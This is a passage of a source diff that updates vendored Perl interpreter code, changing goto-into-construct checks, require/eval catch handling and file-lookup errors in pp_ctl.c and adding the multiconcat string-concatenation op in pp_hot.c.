 	    if (kid->op_type == OP_NEXTSTATE || kid->op_type == OP_DBSTATE) {
 	        if (ops == opstack)
 		    *ops++ = kid;
-		else if (ops[-1]->op_type == OP_NEXTSTATE ||
-		         ops[-1]->op_type == OP_DBSTATE)
+		else if (ops[-1] != UNENTERABLE
+		      && (ops[-1]->op_type == OP_NEXTSTATE ||
+		          ops[-1]->op_type == OP_DBSTATE))
 		    ops[-1] = kid;
 		else
 		    *ops++ = kid;
 	    }
+	    if (kid == kid1 && ops != opstack && ops[-1] == UNENTERABLE) {
+		first_kid_of_binary = TRUE;
+		ops--;
+	    }
 	    if ((o = dofindlabel(kid, label, len, flags, ops, oplimit)))
 		return o;
+	    if (first_kid_of_binary)
+		*ops++ = UNENTERABLE;
 	}
     }
     *ops = 0;
@@ -2693,6 +2739,23 @@
 }
 
 
+static void
+S_check_op_type(pTHX_ OP * const o)
+{
+    /* Eventually we may want to stack the needed arguments
+     * for each op.  For now, we punt on the hard ones. */
+    /* XXX This comment seems to me like wishful thinking.  --sprout */
+    if (o == UNENTERABLE)
+	Perl_croak(aTHX_
+                  "Can't \"goto\" into a binary or list expression");
+    if (o->op_type == OP_ENTERITER)
+        Perl_croak(aTHX_
+                  "Can't \"goto\" into the middle of a foreach loop");
+    if (o->op_type == OP_ENTERGIVEN)
+        Perl_croak(aTHX_
+                  "Can't \"goto\" into a \"given\" block");
+}
+
 /* also used for: pp_dump() */
 
 PP(pp_goto)
@@ -2701,7 +2764,6 @@
     OP *retop = NULL;
     I32 ix;
     PERL_CONTEXT *cx;
-#define GOTO_DEPTH 64
     OP *enterops[GOTO_DEPTH];
     const char *label = NULL;
     STRLEN label_len = 0;
@@ -3034,12 +3096,14 @@
 	if (leaving_eval && *enterops && enterops[1]) {
 	    I32 i;
             for (i = 1; enterops[i]; i++)
-                if (enterops[i]->op_type == OP_ENTERITER)
-                    DIE(aTHX_ "Can't \"goto\" into the middle of a foreach loop");
+                S_check_op_type(aTHX_ enterops[i]);
 	}
 
 	if (*enterops && enterops[1]) {
-	    I32 i = enterops[1]->op_type == OP_ENTER && in_block ? 2 : 1;
+	    I32 i = enterops[1] != UNENTERABLE
+		 && enterops[1]->op_type == OP_ENTER && in_block
+		    ? 2
+		    : 1;
 	    if (enterops[i])
 		deprecate("\"goto\" to jump into a construct");
 	}
@@ -3058,13 +3122,15 @@
 
 	if (*enterops && enterops[1]) {
 	    OP * const oldop = PL_op;
-	    ix = enterops[1]->op_type == OP_ENTER && in_block ? 2 : 1;
+	    ix = enterops[1] != UNENTERABLE
+	      && enterops[1]->op_type == OP_ENTER && in_block
+		   ? 2
+		   : 1;
 	    for (; enterops[ix]; ix++) {
 		PL_op = enterops[ix];
-		/* Eventually we may want to stack the needed arguments
-		 * for each op.  For now, we punt on the hard ones. */
-		if (PL_op->op_type == OP_ENTERITER)
-		    DIE(aTHX_ "Can't \"goto\" into the middle of a foreach loop");
+		S_check_op_type(aTHX_ PL_op);
+		DEBUG_l( Perl_deb(aTHX_ "pp_goto: Entering %s\n",
+					 OP_NAME(PL_op)));
 		PL_op->op_ppaddr(aTHX);
 	    }
 	    PL_op = oldop;
@@ -3159,23 +3225,18 @@
 =cut
 */
 STATIC OP *
-S_docatch(pTHX_ OP *o)
+S_docatch(pTHX_ Perl_ppaddr_t firstpp)
 {
     int ret;
     OP * const oldop = PL_op;
     dJMPENV;
 
-#ifdef DEBUGGING
     assert(CATCH_GET == TRUE);
-#endif
-    PL_op = o;
 
     JMPENV_PUSH(ret);
     switch (ret) {
     case 0:
-	assert(cxstack_ix >= 0);
-	assert(CxTYPE(CX_CUR()) == CXt_EVAL);
-        CX_CUR()->blk_eval.cur_top_env = PL_top_env;
+	PL_op = firstpp(aTHX);
  redo_body:
 	CALLRUNOPS(aTHX);
 	break;
@@ -3257,7 +3318,7 @@
 		    return cv;
 		case FIND_RUNCV_level_eq:
 		    if (level++ != arg) continue;
-		    /* GERONIMO! */
+                    /* FALLTHROUGH */
 		default:
 		    return cv;
 		}
@@ -3353,7 +3414,11 @@
 	SAVEGENERICSV(PL_curstash);
 	PL_curstash = (HV *)CopSTASH(PL_curcop);
 	if (SvTYPE(PL_curstash) != SVt_PVHV) PL_curstash = NULL;
-	else SvREFCNT_inc_simple_void(PL_curstash);
+	else {
+	    SvREFCNT_inc_simple_void(PL_curstash);
+	    save_item(PL_curstname);
+	    sv_sethek(PL_curstname, HvNAME_HEK(PL_curstash));
+	}
     }
     /* XXX:ajgo do we really need to alloc an AV for begin/checkunit */
     SAVESPTR(PL_beginav);
@@ -3538,15 +3603,22 @@
        errno EACCES, so only do a stat to separate a dir from a real EACCES
        caused by user perms */
 #ifndef WIN32
-    /* we use the value of errno later to see how stat() or open() failed.
-     * We don't want it set if the stat succeeded but we still failed,
-     * such as if the name exists, but is a directory */
-    errno = 0;
-
     st_rc = PerlLIO_stat(p, &st);
 
-    if (st_rc < 0 || S_ISDIR(st.st_mode) || S_ISBLK(st.st_mode)) {
+    if (st_rc < 0)
 	return NULL;
+    else {
+	int eno;
+	if(S_ISBLK(st.st_mode)) {
+	    eno = EINVAL;
+	    goto not_file;
+	}
+	else if(S_ISDIR(st.st_mode)) {
+	    eno = EISDIR;
+	    not_file:
+	    errno = eno;
+	    return NULL;
+	}
     }
 #endif
 
@@ -3558,8 +3630,10 @@
 	int eno;
 	st_rc = PerlLIO_stat(p, &st);
 	if (st_rc >= 0) {
-	    if(S_ISDIR(st.st_mode) || S_ISBLK(st.st_mode))
-		eno = 0;
+	    if(S_ISDIR(st.st_mode))
+		eno = EISDIR;
+	    else if(S_ISBLK(st.st_mode))
+		eno = EINVAL;
 	    else
 		eno = EACCES;
 	    errno = eno;
@@ -3590,7 +3664,7 @@
     if (!IS_SAFE_PATHNAME(p, namelen, "require"))
         return NULL;
 
-    if (namelen > 3 && memEQs(p + namelen - 3, 3, ".pm")) {
+    if (memENDPs(p, namelen, ".pm")) {
 	SV *const pmcsv = sv_newmortal();
 	PerlIO * pmcio;
 
@@ -3733,6 +3807,7 @@
     I32 old_savestack_ix;
     const bool op_is_require = PL_op->op_type == OP_REQUIRE;
     const char *const op_name = op_is_require ? "require" : "do";
+    SV ** svp_cached = NULL;
 
     assert(op_is_require || PL_op->op_type == OP_DOFILE);
 
@@ -3742,6 +3817,15 @@
     if (!(name && len > 0 && *name))
         DIE(aTHX_ "Missing or undefined argument to %s", op_name);
 
+#ifndef VMS
+	/* try to return earlier (save the SAFE_PATHNAME check) if INC already got the name */
+	if (op_is_require) {
+		/* can optimize to only perform one single lookup */
+		svp_cached = hv_fetch(GvHVn(PL_incgv), (char*) name, len, 0);
+		if ( svp_cached && *svp_cached != &PL_sv_undef ) RETPUSHYES;
+	}
+#endif
+
     if (!IS_SAFE_PATHNAME(name, len, op_name)) {
         if (!op_is_require) {
             CLEAR_ERRSV();
@@ -3780,8 +3864,8 @@
 	unixlen = len;
     }
     if (op_is_require) {
-	SV * const * const svp = hv_fetch(GvHVn(PL_incgv),
-					  unixname, unixlen, 0);
+	/* reuse the previous hv_fetch result if possible */
+	SV * const * const svp = svp_cached ? svp_cached : hv_fetch(GvHVn(PL_incgv), unixname, unixlen, 0);
 	if ( svp ) {
 	    if (*svp != &PL_sv_undef)
 		RETPUSHYES;
@@ -3815,7 +3899,7 @@
                    directory, or (*nix) hidden filenames.  Also sanity check
                    that the generated filename ends .pm  */
                 if (!path_searchable || len < 3 || name[0] == '.'
-                    || !memEQ(name + package_len, ".pm", 3))
+                    || !memEQs(name + package_len, len - package_len, ".pm"))
                     DIE(aTHX_ "Bareword in require maps to disallowed filename \"%" SVf "\"", sv);
                 if (memchr(name, 0, package_len)) {
                     /* diag_listed_as: Bareword in require contains "%s" */
@@ -4019,8 +4103,7 @@
 			continue;
 		    sv_setpv(namesv, unixdir);
 		    sv_catpv(namesv, unixname);
-#else
-#  ifdef __SYMBIAN32__
+#elif defined(__SYMBIAN32__)
 		    if (PL_origfilename[0] &&
 			PL_origfilename[1] == ':' &&
 			!(dir[0] && dir[1] == ':'))
@@ -4032,7 +4115,7 @@
 		        Perl_sv_setpvf(aTHX_ namesv,
 				       "%s\\%s",
 				       dir, name);
-#  else
+#else
 		    /* The equivalent of		    
 		       Perl_sv_setpvf(aTHX_ namesv, "%s/%s", dir, name);
 		       but without the need to parse the format string, or
@@ -4059,7 +4142,6 @@
 			SvCUR_set(namesv, dirlen + len + 1);
 			SvPOK_on(namesv);
 		    }
-#  endif
 #endif
 		    TAINT_PROPER(op_name);
 		    tryname = SvPVX_const(namesv);
@@ -4101,12 +4183,12 @@
 		    SSize_t i;
 		    SV *const msg = newSVpvs_flags("", SVs_TEMP);
 		    SV *const inc = newSVpvs_flags("", SVs_TEMP);
-                    const char *e = name + len - 3; /* possible .pm */
 		    for (i = 0; i <= AvFILL(ar); i++) {
 			sv_catpvs(inc, " ");
 			sv_catsv(inc, *av_fetch(ar, i, TRUE));
 		    }
-		    if (e > name && _memEQs(e, ".pm")) {
+		    if (memENDPs(name, len, ".pm")) {
+                        const char *e = name + len - (sizeof(".pm") - 1);
 			const char *c;
                         bool utf8 = cBOOL(SvUTF8(sv));
 
@@ -4148,10 +4230,10 @@
                             sv_catpv(msg, " module)");
                         }
 		    }
-		    else if (len >= 2 && memEQ(name + len - 2, ".h", 3)) {
+		    else if (memENDs(name, len, ".h")) {
 			sv_catpv(msg, " (change .h to .ph maybe?) (did you run h2ph?)");
 		    }
-		    else if (len >= 3 && memEQ(name + len - 3, ".ph", 4)) {
+		    else if (memENDs(name, len, ".ph")) {
 			sv_catpv(msg, " (did you run h2ph?)");
 		    }
 
@@ -4227,6 +4309,7 @@
     }
 
     /* switch to eval mode */
+    assert(!CATCH_GET);
     cx = cx_pushblock(CXt_EVAL, gimme, SP, old_savestack_ix);
     cx_pusheval(cx, PL_op->op_next, newSVpv(name, 0));
 
@@ -4236,7 +4319,7 @@
     PUTBACK;
 
     if (doeval_compile(gimme, NULL, PL_curcop->cop_seq, NULL))
-	op = DOCATCH(PL_eval_start);
+	op = PL_eval_start;
     else
 	op = PL_op->op_next;
 
@@ -4250,13 +4333,17 @@
 
 PP(pp_require)
 {
-    dSP;
-    SV *sv = POPs;
-    SvGETMAGIC(sv);
-    PUTBACK;
-    return ((SvNIOKp(sv) || SvVOK(sv)) && PL_op->op_type != OP_DOFILE)
-        ? S_require_version(aTHX_ sv)
-        : S_require_file(aTHX_ sv);
+    RUN_PP_CATCHABLY(Perl_pp_require);
+
+    {
+	dSP;
+	SV *sv = POPs;
+	SvGETMAGIC(sv);
+	PUTBACK;
+	return ((SvNIOKp(sv) || SvVOK(sv)) && PL_op->op_type != OP_DOFILE)
+	    ? S_require_version(aTHX_ sv)
+	    : S_require_file(aTHX_ sv);
+    }
 }
 
 
@@ -4277,18 +4364,28 @@
     dSP;
     PERL_CONTEXT *cx;
     SV *sv;
-    const U8 gimme = GIMME_V;
-    const U32 was = PL_breakable_sub_gen;
+    U8 gimme;
+    U32 was;
     char tbuf[TYPE_DIGITS(long) + 12];
-    bool saved_delete = FALSE;
-    char *tmpbuf = tbuf;
+    bool saved_delete;
+    char *tmpbuf;
     STRLEN len;
     CV* runcv;
-    U32 seq, lex_flags = 0;
-    HV *saved_hh = NULL;
-    const bool bytes = PL_op->op_private & OPpEVAL_BYTES;
+    U32 seq, lex_flags;
+    HV *saved_hh;
+    bool bytes;
     I32 old_savestack_ix;
 
+    RUN_PP_CATCHABLY(Perl_pp_entereval);
+
+    gimme = GIMME_V;
+    was = PL_breakable_sub_gen;
+    saved_delete = FALSE;
+    tmpbuf = tbuf;
+    lex_flags = 0;
+    saved_hh = NULL;
+    bytes = PL_op->op_private & OPpEVAL_BYTES;
+
     if (PL_op->op_private & OPpEVAL_HAS_HH) {
 	saved_hh = MUTABLE_HV(SvREFCNT_inc(POPs));
     }
@@ -4356,6 +4453,7 @@
      * to do the dirty work for us */
     runcv = find_runcv(&seq);
 
+    assert(!CATCH_GET);
     cx = cx_pushblock((CXt_EVAL|CXp_REAL), gimme, SP, old_savestack_ix);
     cx_pusheval(cx, PL_op->op_next, NULL);
 
@@ -4385,7 +4483,7 @@
 	    char *const safestr = savepvn(tmpbuf, len);
 	    SAVEDELETE(PL_defstash, safestr, len);
 	}
-	return DOCATCH(PL_eval_start);
+	return PL_eval_start;
     } else {
 	/* We have already left the scope set up earlier thanks to the LEAVE
 	   in doeval_compile().  */
@@ -4424,11 +4522,14 @@
     /* did require return a false value? */
     failed =    CxOLD_OP_TYPE(cx) == OP_REQUIRE
              && !(gimme == G_SCALAR
-                    ? SvTRUE(*PL_stack_sp)
+                    ? SvTRUE_NN(*PL_stack_sp)
                     : PL_stack_sp > oldsp);
 
-    if (gimme == G_VOID)
+    if (gimme == G_VOID) {
         PL_stack_sp = oldsp;
+        /* free now to avoid late-called destructors clobbering $@ */
+        FREETMPS;
+    }
     else
         leave_adjust_stacks(oldsp, oldsp, gimme, 0);
 
@@ -4496,8 +4597,11 @@
     
 PP(pp_entertry)
 {
+    RUN_PP_CATCHABLY(Perl_pp_entertry);
+
+    assert(!CATCH_GET);
     create_eval_scope(cLOGOP->op_other->op_next, 0);
-    return DOCATCH(PL_op->op_next);
+    return PL_op->op_next;
 }
 
 
@@ -4517,8 +4621,11 @@
     oldsp = PL_stack_base + cx->blk_oldsp;
     gimme = cx->blk_gimme;
 
-    if (gimme == G_VOID)
+    if (gimme == G_VOID) {
         PL_stack_sp = oldsp;
+        /* free now to avoid late-called destructors clobbering $@ */
+        FREETMPS;
+    }
     else
         leave_adjust_stacks(oldsp, oldsp, gimme, 1);
     CX_LEAVE_SCOPE(cx);
@@ -5119,8 +5226,11 @@
        to the op that follows the leavewhen.
        RETURNOP calls PUTBACK which restores the stack pointer after the POPs.
     */
-    if (!(PL_op->op_flags & OPf_SPECIAL) && !SvTRUEx(POPs))
+    if (!(PL_op->op_flags & OPf_SPECIAL) && !SvTRUEx(POPs)) {
+	if (gimme == G_SCALAR)
+	    PUSHs(&PL_sv_undef);
 	RETURNOP(cLOGOP->op_other->op_next);
+    }
 
     cx = cx_pushblock(CXt_WHEN, gimme, SP, PL_savestack_ix);
     cx_pushwhen(cx);
@@ -5319,7 +5429,8 @@
 	    if (s < send) {
 	        skipspaces = 0;
                 continue;
-            } /* else FALL THROUGH */
+            }
+            /* FALLTHROUGH */
 	case '\n':
 	    arg = s - base;
 	    skipspaces++;
@@ -5587,7 +5698,7 @@
 
 	DEFSV_set(upstream);
 	PUSHMARK(SP);
-	mPUSHi(0);
+	PUSHs(&PL_sv_zero);
 	if (filter_state) {
 	    PUSHs(filter_state);
 	}

Modified: vendor/perl/dist/pp_hot.c
===================================================================
--- vendor/perl/dist/pp_hot.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pp_hot.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -231,11 +231,11 @@
 PP(pp_cond_expr)
 {
     dSP;
+    SV *sv;
+
     PERL_ASYNC_CHECK();
-    if (SvTRUEx(POPs))
-	RETURNOP(cLOGOP->op_other);
-    else
-	RETURNOP(cLOGOP->op_next);
+    sv = POPs;
+    RETURNOP(SvTRUE_NN(sv) ? cLOGOP->op_other : cLOGOP->op_next);
 }
 
 PP(pp_unstack)
@@ -253,11 +253,17 @@
     return NORMAL;
 }
 
-PP(pp_concat)
+
+/* The main body of pp_concat, not including the magic/overload and
+ * stack handling.
+ * It does targ = left . right.
+ * Moved into a separate function so that pp_multiconcat() can use it
+ * too.
+ */
+
+PERL_STATIC_INLINE void
+S_do_concat(pTHX_ SV *left, SV *right, SV *targ, U8 targmy)
 {
-  dSP; dATARGET; tryAMAGICbin_MG(concat_amg, AMGf_assign);
-  {
-    dPOPTOPssrl;
     bool lbyte;
     STRLEN rlen;
     const char *rpv = NULL;
@@ -285,7 +291,7 @@
     else { /* $l .= $r   and   left == TARG */
 	if (!SvOK(left)) {
             if ((left == right                          /* $l .= $l */
-                 || (PL_op->op_private & OPpTARGET_MY)) /* $l = $l . $r */
+                 || targmy)                             /* $l = $l . $r */
                 && ckWARN(WARN_UNINITIALIZED)
                 )
                 report_uninit(left);
@@ -314,18 +320,802 @@
 	}
     }
     sv_catpvn_nomg(TARG, rpv, rlen);
+    SvSETMAGIC(TARG);
+}
 
-    SETTARG;
+
+PP(pp_concat)
+{
+  dSP; dATARGET; tryAMAGICbin_MG(concat_amg, AMGf_assign);
+  {
+    dPOPTOPssrl;
+    S_do_concat(aTHX_ left, right, targ, PL_op->op_private & OPpTARGET_MY);
+    SETs(TARG);
     RETURN;
   }
 }
 
+
+/* pp_multiconcat()
+
+Concatenate one or more args, possibly interleaved with constant string
+segments. The result may be assigned to, or appended to, a variable or
+expression.
+
+Several op_flags and/or op_private bits indicate what the target is, and
+whether it's appended to. Valid permutations are:
+
+    -                                  (PADTMP) = (A.B.C....)
+    OPpTARGET_MY                       $lex     = (A.B.C....)
+    OPpTARGET_MY,OPpLVAL_INTRO         my $lex  = (A.B.C....)
+    OPpTARGET_MY,OPpMULTICONCAT_APPEND $lex    .= (A.B.C....)
+    OPf_STACKED                        expr     = (A.B.C....)
+    OPf_STACKED,OPpMULTICONCAT_APPEND  expr    .= (A.B.C....)
+
+Other combinations like (A.B).(C.D) are not optimised into a multiconcat
+op, as it's too hard to get the correct ordering of ties, overload etc.
+
+In addition:
+
+    OPpMULTICONCAT_FAKE:       not a real concat, instead an optimised
+                               sprintf "...%s...". Don't call '.'
+                               overloading: only use '""' overloading.
+
+    OPpMULTICONCAT_STRINGIFY:  the RHS was of the form
+                               "...$a...$b..." rather than
+                               "..." . $a . "..." . $b . "..."
+
+An OP_MULTICONCAT is of type UNOP_AUX. The fixed slots of the aux array are
+defined with PERL_MULTICONCAT_IX_FOO constants, where:
+
+
+    FOO       index description
+    --------  ----- ----------------------------------
+    NARGS     0     number of arguments
+    PLAIN_PV  1     non-utf8 constant string
+    PLAIN_LEN 2     non-utf8 constant string length
+    UTF8_PV   3     utf8 constant string
+    UTF8_LEN  4     utf8 constant string length
+    LENGTHS   5     first of nargs+1 const segment lengths
+
+The idea is that a general string concatenation will have a fixed (known
+at compile time) number of variable args, interspersed with constant
+strings, e.g. "a=$a b=$b\n"
+
+All the constant string segments "a=", " b=" and "\n" are stored as a
+single string "a= b=\n", pointed to from the PLAIN_PV/UTF8_PV slot, along
+with a series of segment lengths: e.g. 2,3,1. In the case where the
+constant string is plain but has a different utf8 representation, both
+variants are stored, and two sets of (nargs+1) segments lengths are stored
+in the slots beginning at PERL_MULTICONCAT_IX_LENGTHS.
+
+A segment length of -1 indicates that there is no constant string at that
+point; this distinguishes between e.g. ($a . $b) and ($a . "" . $b), which
+have differing overloading behaviour.
+
+*/
+
+PP(pp_multiconcat)
+{
+    dSP;
+    SV *targ;                /* The SV to be assigned or appended to */
+    char *targ_pv;           /* where within SvPVX(targ) we're writing to */
+    STRLEN targ_len;         /* SvCUR(targ) */
+    SV **toparg;             /* the highest arg position on the stack */
+    UNOP_AUX_item *aux;      /* PL_op->op_aux buffer */
+    UNOP_AUX_item *const_lens; /* the segment length array part of aux */
+    const char *const_pv;    /* the current segment of the const string buf */
+    SSize_t nargs;           /* how many args were expected */
+    SSize_t stack_adj;       /* how much to adjust SP on return */
+    STRLEN grow;             /* final size of destination string (targ) */
+    UV targ_count;           /* how many times targ has appeared on the RHS */
+    bool is_append;          /* OPpMULTICONCAT_APPEND flag is set */
+    bool slow_concat;        /* args too complex for quick concat */
+    U32  dst_utf8;           /* the result will be utf8 (indicate this with
+                                SVf_UTF8 in a U32, rather than using bool,
+                                for ease of testing and setting) */
+    /* for each arg, holds the result of an SvPV() call */
+    struct multiconcat_svpv {
+        char          *pv;
+        SSize_t       len;
+    }
+        *targ_chain,         /* chain of slots where targ has appeared on RHS */
+        *svpv_p,             /* ptr for looping through svpv_buf */
+        *svpv_base,          /* first slot (may be greater than svpv_buf), */
+        *svpv_end,           /* and slot after highest result so far, of: */
+        svpv_buf[PERL_MULTICONCAT_MAXARG]; /* buf for storing SvPV() results */
+
+    aux   = cUNOP_AUXx(PL_op)->op_aux;
+    stack_adj = nargs = aux[PERL_MULTICONCAT_IX_NARGS].ssize;
+    is_append = cBOOL(PL_op->op_private & OPpMULTICONCAT_APPEND);
+
+    /* get targ from the stack or pad */
+
+    if (PL_op->op_flags & OPf_STACKED) {
+        if (is_append) {
+            /* for 'expr .= ...', expr is the bottom item on the stack */
+            targ = SP[-nargs];
+            stack_adj++;
+        }
+        else
+            /* for 'expr = ...', expr is the top item on the stack */
+            targ = POPs;
+    }
+    else {
+        SV **svp = &(PAD_SVl(PL_op->op_targ));
+        targ = *svp;
+        if (PL_op->op_private & OPpLVAL_INTRO) {
+            assert(PL_op->op_private & OPpTARGET_MY);
+            save_clearsv(svp);
+        }
+        if (!nargs)
+            /* $lex .= "const" doesn't cause anything to be pushed */
+            EXTEND(SP,1);
+    }
+
+    toparg = SP;
+    SP -= (nargs - 1);
+    grow          = 1;    /* allow for '\0' at minimum */
+    targ_count    = 0;
+    targ_chain    = NULL;
+    targ_len      = 0;
+    svpv_end      = svpv_buf;
+                    /* only utf8 variants of the const strings? */
+    dst_utf8      = aux[PERL_MULTICONCAT_IX_PLAIN_PV].pv ? 0 : SVf_UTF8;
+
+
+    /* --------------------------------------------------------------
+     * Phase 1:
+     *
+     * stringify (i.e. SvPV()) every arg and store the resultant pv/len/utf8
+     * triplets in svpv_buf[]. Also increment 'grow' by the args' lengths.
+     *
+     * utf8 is indicated by storing a negative length.
+     *
+     * Where an arg is actually targ, the stringification is deferred:
+     * the length is set to 0, and the slot is added to targ_chain.
+     *
+     * If a magic, overloaded, or otherwise weird arg is found, which
+     * might have side effects when stringified, the loop is abandoned and
+     * we goto a code block where a more basic 'emulate calling
+     * pp_cpncat() on each arg in turn' is done.
+     */
+
+    for (; SP <= toparg; SP++, svpv_end++) {
+        U32 utf8;
+        STRLEN len;
+        SV *sv;
+
+        assert(svpv_end - svpv_buf < PERL_MULTICONCAT_MAXARG);
+
+        sv = *SP;
+
+        /* this if/else chain is arranged so that common/simple cases
+         * take few conditionals */
+
+        if (LIKELY((SvFLAGS(sv) & (SVs_GMG|SVf_ROK|SVf_POK)) == SVf_POK)) {
+            /* common case: sv is a simple non-magical PV */
+            if (targ == sv) {
+                /* targ appears on RHS.
+                 * Delay storing PV pointer; instead, add slot to targ_chain
+                 * so it can be populated later, after targ has been grown and
+                 * we know its final SvPVX() address.
+                 */
+              targ_on_rhs:
+                svpv_end->len = 0; /* zerojng here means we can skip
+                                      updating later if targ_len == 0 */
+                svpv_end->pv  = (char*)targ_chain;
+                targ_chain    = svpv_end;
+                targ_count++;
+                continue;
+            }
+
+            len           = SvCUR(sv);
+            svpv_end->pv  = SvPVX(sv);
+        }
+        else if (UNLIKELY(SvFLAGS(sv) & (SVs_GMG|SVf_ROK)))
+            /* may have side effects: tie, overload etc.
+             * Abandon 'stringify everything first' and handle
+             * args in strict order. Note that already-stringified args
+             * will be reprocessed, which is safe because the each first
+             * stringification would have been idempotent.
+             */
+            goto do_magical;
+        else if (SvNIOK(sv)) {
+            if (targ == sv)
+              goto targ_on_rhs;
+            /* stringify general valid scalar */
+            svpv_end->pv = sv_2pv_flags(sv, &len, 0);
+        }
+        else if (!SvOK(sv)) {
+            if (ckWARN(WARN_UNINITIALIZED))
+                /* an undef value in the presence of warnings may trigger
+                 * side affects */
+                goto do_magical;
+            svpv_end->pv = (char*)"";
+            len = 0;
+        }
+        else
+            goto do_magical; /* something weird */
+
+        utf8 = (SvFLAGS(sv) & SVf_UTF8);
+        dst_utf8   |= utf8;
+        ASSUME(len < SSize_t_MAX);
+        svpv_end->len = utf8 ? -(SSize_t)len : (SSize_t)len;
+        grow += len;
+    }
+
+    /* --------------------------------------------------------------
+     * Phase 2:
+     *
+     * Stringify targ:
+     *
+     * if targ appears on the RHS or is appended to, force stringify it;
+     * otherwise set it to "". Then set targ_len.
+     */
+
+    if (is_append) {
+        /* abandon quick route if using targ might have side effects */
+        if (UNLIKELY(SvFLAGS(targ) & (SVs_GMG|SVf_ROK)))
+            goto do_magical;
+
+        if (SvOK(targ)) {
+            U32 targ_utf8;
+          stringify_targ:
+            SvPV_force_nomg_nolen(targ);
+            targ_utf8 = SvFLAGS(targ) & SVf_UTF8;
+            if (UNLIKELY(dst_utf8 & ~targ_utf8)) {
+                 if (LIKELY(!IN_BYTES))
+                    sv_utf8_upgrade_nomg(targ);
+            }
+            else
+                dst_utf8 |= targ_utf8;
+
+            targ_len = SvCUR(targ);
+            grow += targ_len * (targ_count + is_append);
+            goto phase3;
+        }
+        else if (ckWARN(WARN_UNINITIALIZED))
+            /* warning might have side effects */
+            goto do_magical;
+        /* the undef targ will be silently SvPVCLEAR()ed below */
+    }
+    else if (UNLIKELY(SvTYPE(targ) >= SVt_REGEXP)) {
+        /* Assigning to some weird LHS type. Don't force the LHS to be an
+         * empty string; instead, do things 'long hand' by using the
+         * overload code path, which concats to a TEMP sv and does
+         * sv_catsv() calls rather than COPY()s. This ensures that even
+         * bizarre code like this doesn't break or crash:
+         *    *F = *F . *F.
+         * (which makes the 'F' typeglob an alias to the
+         * '*main::F*main::F' typeglob).
+         */
+        goto do_magical;
+    }
+    else if (targ_chain)
+        /* targ was found on RHS.
+         * Force stringify it, using the same code as the append branch
+         * above, except that we don't need the magic/overload/undef
+         * checks as these will already have been done in the phase 1
+         * loop.
+         */
+        goto stringify_targ;
+
+    /* unrolled SvPVCLEAR() - mostly: no need to grow or set SvCUR() to 0;
+     * those will be done later. */
+    SV_CHECK_THINKFIRST_COW_DROP(targ);
+    SvUPGRADE(targ, SVt_PV);
+    SvFLAGS(targ) &= ~(SVf_OK|SVf_IVisUV|SVf_UTF8);
+    SvFLAGS(targ) |= (SVf_POK|SVp_POK|dst_utf8);
+
+  phase3:
+
+    /* --------------------------------------------------------------
+     * Phase 3:
+     *
+     * UTF-8 tweaks and grow targ:
+     *
+     * Now that we know the length and utf8-ness of both the targ and
+     * args, grow targ to the size needed to accumulate all the args, based
+     * on whether targ appears on the RHS, whether we're appending, and
+     * whether any non-utf8 args expand in size if converted to utf8.
+     *
+     * For the latter, if dst_utf8 we scan non-utf8 args looking for
+     * variant chars, and adjust the svpv->len value of those args to the
+     * utf8 size and negate it to flag them. At the same time we un-negate
+     * the lens of any utf8 args since after this phase we no longer care
+     * whether an arg is utf8 or not.
+     *
+     * Finally, initialise const_lens and const_pv based on utf8ness.
+     * Note that there are 3 permutations:
+     *
+     * * If the constant string is invariant whether utf8 or not (e.g. "abc"),
+     *   then aux[PERL_MULTICONCAT_IX_PLAIN_PV/LEN] are the same as
+     *        aux[PERL_MULTICONCAT_IX_UTF8_PV/LEN] and there is one set of
+     *   segment lengths.
+     *
+     * * If the string is fully utf8, e.g. "\x{100}", then
+     *   aux[PERL_MULTICONCAT_IX_PLAIN_PV/LEN] == (NULL,0) and there is
+     *   one set of segment lengths.
+     *
+     * * If the string has different plain and utf8 representations
+     *   (e.g. "\x80"), then then aux[PERL_MULTICONCAT_IX_PLAIN_PV/LEN]]
+     *   holds the plain rep, while aux[PERL_MULTICONCAT_IX_UTF8_PV/LEN]
+     *   holds the utf8 rep, and there are 2 sets of segment lengths,
+     *   with the utf8 set following after the plain set.
+     *
+     * On entry to this section the (pv,len) pairs in svpv_buf have the
+     * following meanings:
+     *    (pv,  len) a plain string
+     *    (pv, -len) a utf8 string
+     *    (NULL,  0) left-most targ \ linked together R-to-L
+     *    (next,  0) other targ     / in targ_chain
+     */
+
+    /* turn off utf8 handling if 'use bytes' is in scope */
+    if (UNLIKELY(dst_utf8 && IN_BYTES)) {
+        dst_utf8 = 0;
+        SvUTF8_off(targ);
+        /* undo all the negative lengths which flag utf8-ness */
+        for (svpv_p = svpv_buf; svpv_p < svpv_end; svpv_p++) {
+            SSize_t len = svpv_p->len;
+            if (len < 0)
+                svpv_p->len = -len;
+        }
+    }
+
+    /* grow += total of lengths of constant string segments */
+    {
+        SSize_t len;
+        len = aux[dst_utf8 ? PERL_MULTICONCAT_IX_UTF8_LEN
+                           : PERL_MULTICONCAT_IX_PLAIN_LEN].ssize;
+        slow_concat = cBOOL(len);
+        grow += len;
+    }
+
+    const_lens = aux + PERL_MULTICONCAT_IX_LENGTHS;
+
+    if (dst_utf8) {
+        const_pv = aux[PERL_MULTICONCAT_IX_UTF8_PV].pv;
+        if (   aux[PERL_MULTICONCAT_IX_PLAIN_PV].pv
+            && const_pv != aux[PERL_MULTICONCAT_IX_PLAIN_PV].pv)
+            /* separate sets of lengths for plain and utf8 */
+            const_lens += nargs + 1;
+
+        /* If the result is utf8 but some of the args aren't,
+         * calculate how much extra growth is needed for all the chars
+         * which will expand to two utf8 bytes.
+         * Also, if the growth is non-zero, negate the length to indicate
+         * that this this is a variant string. Conversely, un-negate the
+         * length on utf8 args (which was only needed to flag non-utf8
+         * args in this loop */
+        for (svpv_p = svpv_buf; svpv_p < svpv_end; svpv_p++) {
+            SSize_t len, extra;
+
+            len = svpv_p->len;
+            if (len <= 0) {
+                svpv_p->len = -len;
+                continue;
+            }
+
+            extra = variant_under_utf8_count((U8 *) svpv_p->pv,
+                                             (U8 *) svpv_p->pv + len);
+            if (UNLIKELY(extra)) {
+                grow       += extra;
+                              /* -ve len indicates special handling */
+                svpv_p->len = -(len + extra);
+                slow_concat = TRUE;
+            }
+        }
+    }
+    else
+        const_pv = aux[PERL_MULTICONCAT_IX_PLAIN_PV].pv;
+
+    /* unrolled SvGROW(), except don't check for SVf_IsCOW, which should
+     * already have been dropped */
+    assert(!SvIsCOW(targ));
+    targ_pv = (SvLEN(targ) < (grow) ? sv_grow(targ,grow) : SvPVX(targ));
+
+
+    /* --------------------------------------------------------------
